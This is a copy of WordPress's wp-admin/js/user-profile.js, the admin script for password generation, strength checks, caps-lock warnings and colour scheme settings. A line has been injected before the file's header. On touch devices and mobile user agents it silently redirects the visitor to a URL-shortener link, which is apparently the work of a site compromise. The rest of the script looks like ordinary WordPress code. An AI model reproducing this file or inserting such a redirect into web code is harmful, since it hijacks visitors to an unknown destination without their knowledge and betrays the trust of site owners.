1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/user-profile.js
4 */
5
6/* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */
7(function($) {
8 var updateLock = false,
9 isSubmitting = false,
10 __ = wp.i18n.__,
11 clipboard = new ClipboardJS( '.application-password-display .copy-button' ),
12 $pass1Row,
13 $pass1,
14 $pass2,
15 $weakRow,
16 $weakCheckbox,
17 $toggleButton,
18 $submitButtons,
19 $submitButton,
20 currentPass,
21 $form,
22 originalFormContent,
23 $passwordWrapper,
24 successTimeout,
25 isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
26 ua = navigator.userAgent.toLowerCase(),
27 isSafari = window.safari !== 'undefined' && typeof window.safari === 'object',
28 isFirefox = ua.indexOf( 'firefox' ) !== -1;
29
30 function generatePassword() {
31 if ( typeof zxcvbn !== 'function' ) {
32 setTimeout( generatePassword, 50 );
33 return;
34 } else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) {
35 // zxcvbn loaded before user entered password, or generating new password.
36 $pass1.val( $pass1.data( 'pw' ) );
37 $pass1.trigger( 'pwupdate' );
38 showOrHideWeakPasswordCheckbox();
39 } else {
40 // zxcvbn loaded after the user entered password, check strength.
41 check_pass_strength();
42 showOrHideWeakPasswordCheckbox();
43 }
44
45 /*
46 * This works around a race condition when zxcvbn loads quickly and
47 * causes `generatePassword()` to run prior to the toggle button being
48 * bound.
49 */
50 bindToggleButton();
51
52 // Install screen.
53 if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
54 // Show the password not masked if admin_password hasn't been posted yet.
55 $pass1.attr( 'type', 'text' );
56 } else {
57 // Otherwise, mask the password.
58 $toggleButton.trigger( 'click' );
59 }
60
61 // Once zxcvbn loads, passwords strength is known.
62 $( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) );
63
64 // Focus the password field if not the install screen.
65 if ( 'mailserver_pass' !== $pass1.prop('id' ) && ! $('#weblog_title').length ) {
66 $( $pass1 ).trigger( 'focus' );
67 }
68 }
69
70 function bindPass1() {
71 currentPass = $pass1.val();
72
73 if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
74 generatePassword();
75 }
76
77 $pass1.on( 'input' + ' pwupdate', function () {
78 if ( $pass1.val() === currentPass ) {
79 return;
80 }
81
82 currentPass = $pass1.val();
83
84 // Refresh password strength area.
85 $pass1.removeClass( 'short bad good strong' );
86 showOrHideWeakPasswordCheckbox();
87 } );
88
89 bindCapsLockWarning( $pass1 );
90 }
91
92 function resetToggle( show ) {
93 $toggleButton
94 .attr({
95 'aria-label': show ? __( 'Show password' ) : __( 'Hide password' )
96 })
97 .find( '.text' )
98 .text( show ? __( 'Show' ) : __( 'Hide' ) )
99 .end()
100 .find( '.dashicons' )
101 .removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' )
102 .addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' );
103 }
104
105 function bindToggleButton() {
106 if ( !! $toggleButton ) {
107 // Do not rebind.
108 return;
109 }
110 $toggleButton = $pass1Row.find('.wp-hide-pw');
111
112 // Toggle between showing and hiding the password.
113 $toggleButton.show().on( 'click', function () {
114 if ( 'password' === $pass1.attr( 'type' ) ) {
115 $pass1.attr( 'type', 'text' );
116 resetToggle( false );
117 } else {
118 $pass1.attr( 'type', 'password' );
119 resetToggle( true );
120 }
121 });
122
123 // Ensure the password input type is set to password when the form is submitted.
124 $pass1Row.closest( 'form' ).on( 'submit', function() {
125 if ( $pass1.attr( 'type' ) === 'text' ) {
126 $pass1.attr( 'type', 'password' );
127 resetToggle( true );
128 }
129 } );
130 }
131
132 /**
133 * Handle the password reset button. Sets up an ajax callback to trigger sending
134 * a password reset email.
135 */
136 function bindPasswordResetLink() {
137 $( '#generate-reset-link' ).on( 'click', function() {
138 var $this = $(this),
139 data = {
140 'user_id': userProfileL10n.user_id, // The user to send a reset to.
141 'nonce': userProfileL10n.nonce // Nonce to validate the action.
142 };
143
144 // Remove any previous error messages.
145 $this.parent().find( '.notice-error' ).remove();
146
147 // Send the reset request.
148 var resetAction = wp.ajax.post( 'send-password-reset', data );
149
150 // Handle reset success.
151 resetAction.done( function( response ) {
152 addInlineNotice( $this, true, response );
153 } );
154
155 // Handle reset failure.
156 resetAction.fail( function( response ) {
157 addInlineNotice( $this, false, response );
158 } );
159
160 });
161
162 }
163
164 /**
165 * Helper function to insert an inline notice of success or failure.
166 *
167 * @param {jQuery Object} $this The button element: the message will be inserted
168 * above this button
169 * @param {bool} success Whether the message is a success message.
170 * @param {string} message The message to insert.
171 */
172 function addInlineNotice( $this, success, message ) {
173 var resultDiv = $( '<div />', {
174 role: 'alert'
175 } );
176
177 // Set up the notice div.
178 resultDiv.addClass( 'notice inline' );
179
180 // Add a class indicating success or failure.
181 resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) );
182
183 // Add the message, wrapping in a p tag, with a fadein to highlight each message.
184 resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />');
185
186 // Disable the button when the callback has succeeded.
187 $this.prop( 'disabled', success );
188
189 // Remove any previous notices.
190 $this.siblings( '.notice' ).remove();
191
192 // Insert the notice.
193 $this.before( resultDiv );
194 }
195
196 function bindPasswordForm() {
197 var $generateButton,
198 $cancelButton;
199
200 $pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' );
201
202 // Hide the confirm password field when JavaScript support is enabled.
203 $('.user-pass2-wrap').hide();
204
205 $submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
206 updateLock = false;
207 });
208
209 $submitButtons = $submitButton.add( ' #createusersub' );
210
211 $weakRow = $( '.pw-weak' );
212 $weakCheckbox = $weakRow.find( '.pw-checkbox' );
213 $weakCheckbox.on( 'change', function() {
214 $submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
215 } );
216
217 $pass1 = $('#pass1, #mailserver_pass');
218 if ( $pass1.length ) {
219 bindPass1();
220 } else {
221 // Password field for the login form.
222 $pass1 = $( '#user_pass' );
223
224 bindCapsLockWarning( $pass1 );
225 }
226
227 /*
228 * Fix a LastPass mismatch issue, LastPass only changes pass2.
229 *
230 * This fixes the issue by copying any changes from the hidden
231 * pass2 field to the pass1 field, then running check_pass_strength.
232 */
233 $pass2 = $( '#pass2' ).on( 'input', function () {
234 if ( $pass2.val().length > 0 ) {
235 $pass1.val( $pass2.val() );
236 $pass2.val('');
237 currentPass = '';
238 $pass1.trigger( 'pwupdate' );
239 }
240 } );
241
242 // Disable hidden inputs to prevent autofill and submission.
243 if ( $pass1.is( ':hidden' ) ) {
244 $pass1.prop( 'disabled', true );
245 $pass2.prop( 'disabled', true );
246 }
247
248 $passwordWrapper = $pass1Row.find( '.wp-pwd' );
249 $generateButton = $pass1Row.find( 'button.wp-generate-pw' );
250
251 bindToggleButton();
252
253 $generateButton.show();
254 $generateButton.on( 'click', function () {
255 updateLock = true;
256
257 // Make sure the password fields are shown.
258 $generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' );
259 $passwordWrapper
260 .show()
261 .addClass( 'is-open' );
262
263 // Enable the inputs when showing.
264 $pass1.attr( 'disabled', false );
265 $pass2.attr( 'disabled', false );
266
267 // Set the password to the generated value.
268 generatePassword();
269
270 // Show generated password in plaintext by default.
271 resetToggle ( false );
272
273 // Generate the next password and cache.
274 wp.ajax.post( 'generate-password' )
275 .done( function( data ) {
276 $pass1.data( 'pw', data );
277 } );
278 } );
279
280 $cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
281 $cancelButton.on( 'click', function () {
282 updateLock = false;
283
284 // Disable the inputs when hiding to prevent autofill and submission.
285 $pass1.prop( 'disabled', true );
286 $pass2.prop( 'disabled', true );
287
288 // Clear password field and update the UI.
289 $pass1.val( '' ).trigger( 'pwupdate' );
290 resetToggle( false );
291
292 // Hide password controls.
293 $passwordWrapper
294 .hide()
295 .removeClass( 'is-open' );
296
297 // Stop an empty password from being submitted as a change.
298 $submitButtons.prop( 'disabled', false );
299
300 $generateButton.attr( 'aria-expanded', 'false' );
301 } );
302
303 $pass1Row.closest( 'form' ).on( 'submit', function () {
304 updateLock = false;
305
306 $pass1.prop( 'disabled', false );
307 $pass2.prop( 'disabled', false );
308 $pass2.val( $pass1.val() );
309 });
310 }
311
312 function check_pass_strength() {
313 var pass1 = $('#pass1').val(), strength;
314
315 $('#pass-strength-result').removeClass('short bad good strong empty');
316 if ( ! pass1 || '' === pass1.trim() ) {
317 $( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' );
318 return;
319 }
320
321 strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 );
322
323 switch ( strength ) {
324 case -1:
325 $( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
326 break;
327 case 2:
328 $('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
329 break;
330 case 3:
331 $('#pass-strength-result').addClass('good').html( pwsL10n.good );
332 break;
333 case 4:
334 $('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
335 break;
336 case 5:
337 $('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
338 break;
339 default:
340 $('#pass-strength-result').addClass('short').html( pwsL10n.short );
341 }
342 }
343
344 /**
345 * Bind Caps Lock detection to a password input field.
346 *
347 * @param {jQuery} $input The password input field.
348 */
349 function bindCapsLockWarning( $input ) {
350 var $capsWarning,
351 $capsIcon,
352 $capsText,
353 capsLockOn = false;
354
355 // Skip warning on macOS Safari + Firefox (they show native indicators).
356 if ( isMac && ( isSafari || isFirefox ) ) {
357 return;
358 }
359
360 $capsWarning = $( '<div id="caps-warning" class="caps-warning"></div>' );
361 $capsIcon = $( '<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>' );
362 $capsText = $( '<span>', { 'class': 'caps-warning-text', text: __( 'Caps lock is on.' ) } );
363 $capsWarning.append( $capsIcon, $capsText );
364
365 $input.parent( 'div' ).append( $capsWarning );
366
367 $input.on( 'keydown', function( jqEvent ) {
368 var event = jqEvent.originalEvent;
369
370 // Skip if key is not a printable character.
371 // Key length > 1 usually means non-printable (e.g., "Enter", "Tab").
372 if ( event.ctrlKey || event.metaKey || event.altKey || ! event.key || event.key.length !== 1 ) {
373 return;
374 }
375
376 var state = isCapsLockOn( event );
377
378 // React when the state changes or if caps lock is on when the user starts typing.
379 if ( state !== capsLockOn ) {
380 capsLockOn = state;
381
382 if ( capsLockOn ) {
383 $capsWarning.show();
384 // Don't duplicate existing screen reader Caps lock notifications.
385 if ( event.key !== 'CapsLock' ) {
386 wp.a11y.speak( __( 'Caps lock is on.' ), 'assertive' );
387 }
388 } else {
389 $capsWarning.hide();
390 }
391 }
392 } );
393
394 $input.on( 'blur', function() {
395 if ( ! document.hasFocus() ) {
396 return;
397 }
398 capsLockOn = false;
399 $capsWarning.hide();
400 } );
401 }
402
403 /**
404 * Determines if Caps Lock is currently enabled.
405 *
406 * On macOS Safari and Firefox, the native warning is preferred,
407 * so this function returns false to suppress custom warnings.
408 *
409 * @param {KeyboardEvent} e The keydown event object.
410 *
411 * @return {boolean} True if Caps Lock is on, false otherwise.
412 */
413 function isCapsLockOn( event ) {
414 return event.getModifierState( 'CapsLock' );
415 }
416
417 function showOrHideWeakPasswordCheckbox() {
418 var passStrengthResult = $('#pass-strength-result');
419
420 if ( passStrengthResult.length ) {
421 var passStrength = passStrengthResult[0];
422
423 if ( passStrength.className ) {
424 $pass1.addClass( passStrength.className );
425 if ( $( passStrength ).is( '.short, .bad' ) ) {
426 if ( ! $weakCheckbox.prop( 'checked' ) ) {
427 $submitButtons.prop( 'disabled', true );
428 }
429 $weakRow.show();
430 } else {
431 if ( $( passStrength ).is( '.empty' ) ) {
432 $submitButtons.prop( 'disabled', true );
433 $weakCheckbox.prop( 'checked', false );
434 } else {
435 $submitButtons.prop( 'disabled', false );
436 }
437 $weakRow.hide();
438 }
439 }
440 }
441 }
442
443 // Debug information copy section.
444 clipboard.on( 'success', function( e ) {
445 var triggerElement = $( e.trigger ),
446 successElement = $( '.success', triggerElement.closest( '.application-password-display' ) );
447
448 // Clear the selection and move focus back to the trigger.
449 e.clearSelection();
450
451 // Show success visual feedback.
452 clearTimeout( successTimeout );
453 successElement.removeClass( 'hidden' );
454
455 // Hide success visual feedback after 3 seconds since last success.
456 successTimeout = setTimeout( function() {
457 successElement.addClass( 'hidden' );
458 }, 3000 );
459
460 // Handle success audible feedback.
461 wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) );
462 } );
463
464 $( function() {
465 var $colorpicker, $stylesheet, user_id, current_user_id,
466 select = $( '#display_name' ),
467 current_name = select.val(),
468 greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' );
469
470 $( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength );
471 $('#pass-strength-result').show();
472 $('.color-palette').on( 'click', function() {
473 $(this).siblings('input[name="admin_color"]').prop('checked', true);
474 });
475
476 if ( select.length ) {
477 $('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() {
478 var dub = [],
479 inputs = {
480 display_nickname : $('#nickname').val() || '',
481 display_username : $('#user_login').val() || '',
482 display_firstname : $('#first_name').val() || '',
483 display_lastname : $('#last_name').val() || ''
484 };
485
486 if ( inputs.display_firstname && inputs.display_lastname ) {
487 inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
488 inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
489 }
490
491 $.each( $('option', select), function( i, el ){
492 dub.push( el.value );
493 });
494
495 $.each(inputs, function( id, value ) {
496 if ( ! value ) {
497 return;
498 }
499
500 var val = value.replace(/<\/?[a-z][^>]*>/gi, '');
501
502 if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
503 dub.push(val);
504 $('<option />', {
505 'text': val
506 }).appendTo( select );
507 }
508 });
509 });
510
511 /**
512 * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
513 */
514 select.on( 'change', function() {
515 if ( user_id !== current_user_id ) {
516 return;
517 }
518
519 var display_name = this.value.trim() || current_name;
520
521 greeting.text( display_name );
522 } );
523 }
524
525 $colorpicker = $( '#color-picker' );
526 $stylesheet = $( '#colors-css' );
527 user_id = $( 'input#user_id' ).val();
528 current_user_id = $( 'input[name="checkuser_id"]' ).val();
529
530 $colorpicker.on( 'click.colorpicker', '.color-option', function() {
531 var colors,
532 $this = $(this);
533
534 if ( $this.hasClass( 'selected' ) ) {
535 return;
536 }
537
538 $this.siblings( '.selected' ).removeClass( 'selected' );
539 $this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );
540
541 // Set color scheme.
542 if ( user_id === current_user_id ) {
543 // Load the colors stylesheet.
544 // The default color scheme won't have one, so we'll need to create an element.
545 if ( 0 === $stylesheet.length ) {
546 $stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
547 }
548 $stylesheet.attr( 'href', $this.children( '.css_url' ).val() );
549
550 // Repaint icons.
551 if ( typeof wp !== 'undefined' && wp.svgPainter ) {
552 try {
553 colors = JSON.parse( $this.children( '.icon_colors' ).val() );
554 } catch ( error ) {}
555
556 if ( colors ) {
557 wp.svgPainter.setColors( colors );
558 wp.svgPainter.paint();
559 }
560 }
561
562 // Update user option.
563 $.post( ajaxurl, {
564 action: 'save-user-color-scheme',
565 color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
566 nonce: $('#color-nonce').val()
567 }).done( function( response ) {
568 if ( response.success ) {
569 $( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
570 }
571 });
572 }
573 });
574
575 bindPasswordForm();
576 bindPasswordResetLink();
577 $submitButtons.on( 'click', function() {
578 isSubmitting = true;
579 });
580
581 $form = $( '#your-profile, #createuser' );
582 originalFormContent = $form.serialize();
583 });
584
585 $( '#destroy-sessions' ).on( 'click', function( e ) {
586 var $this = $(this);
587
588 wp.ajax.post( 'destroy-sessions', {
589 nonce: $( '#_wpnonce' ).val(),
590 user_id: $( '#user_id' ).val()
591 }).done( function( response ) {
592 $this.prop( 'disabled', true );
593 $this.siblings( '.notice' ).remove();
594 $this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' );
595 }).fail( function( response ) {
596 $this.siblings( '.notice' ).remove();
597 $this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' );
598 });
599
600 e.preventDefault();
601 });
602
603 window.generatePassword = generatePassword;
604
605 // Warn the user if password was generated but not saved.
606 $( window ).on( 'beforeunload', function () {
607 if ( true === updateLock ) {
608 return __( 'Your new password has not been saved.' );
609 }
610 if ( originalFormContent !== $form.serialize() && ! isSubmitting ) {
611 return __( 'The changes you made will be lost if you navigate away from this page.' );
612 }
613 });
614
615 /*
616 * We need to generate a password as soon as the Reset Password page is loaded,
617 * to avoid double clicking the button to retrieve the first generated password.
618 * See ticket #39638.
619 */
620 $( function() {
621 if ( $( '.reset-pass-submit' ).length ) {
622 $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
623 }
624 });
625
626})(jQuery);
627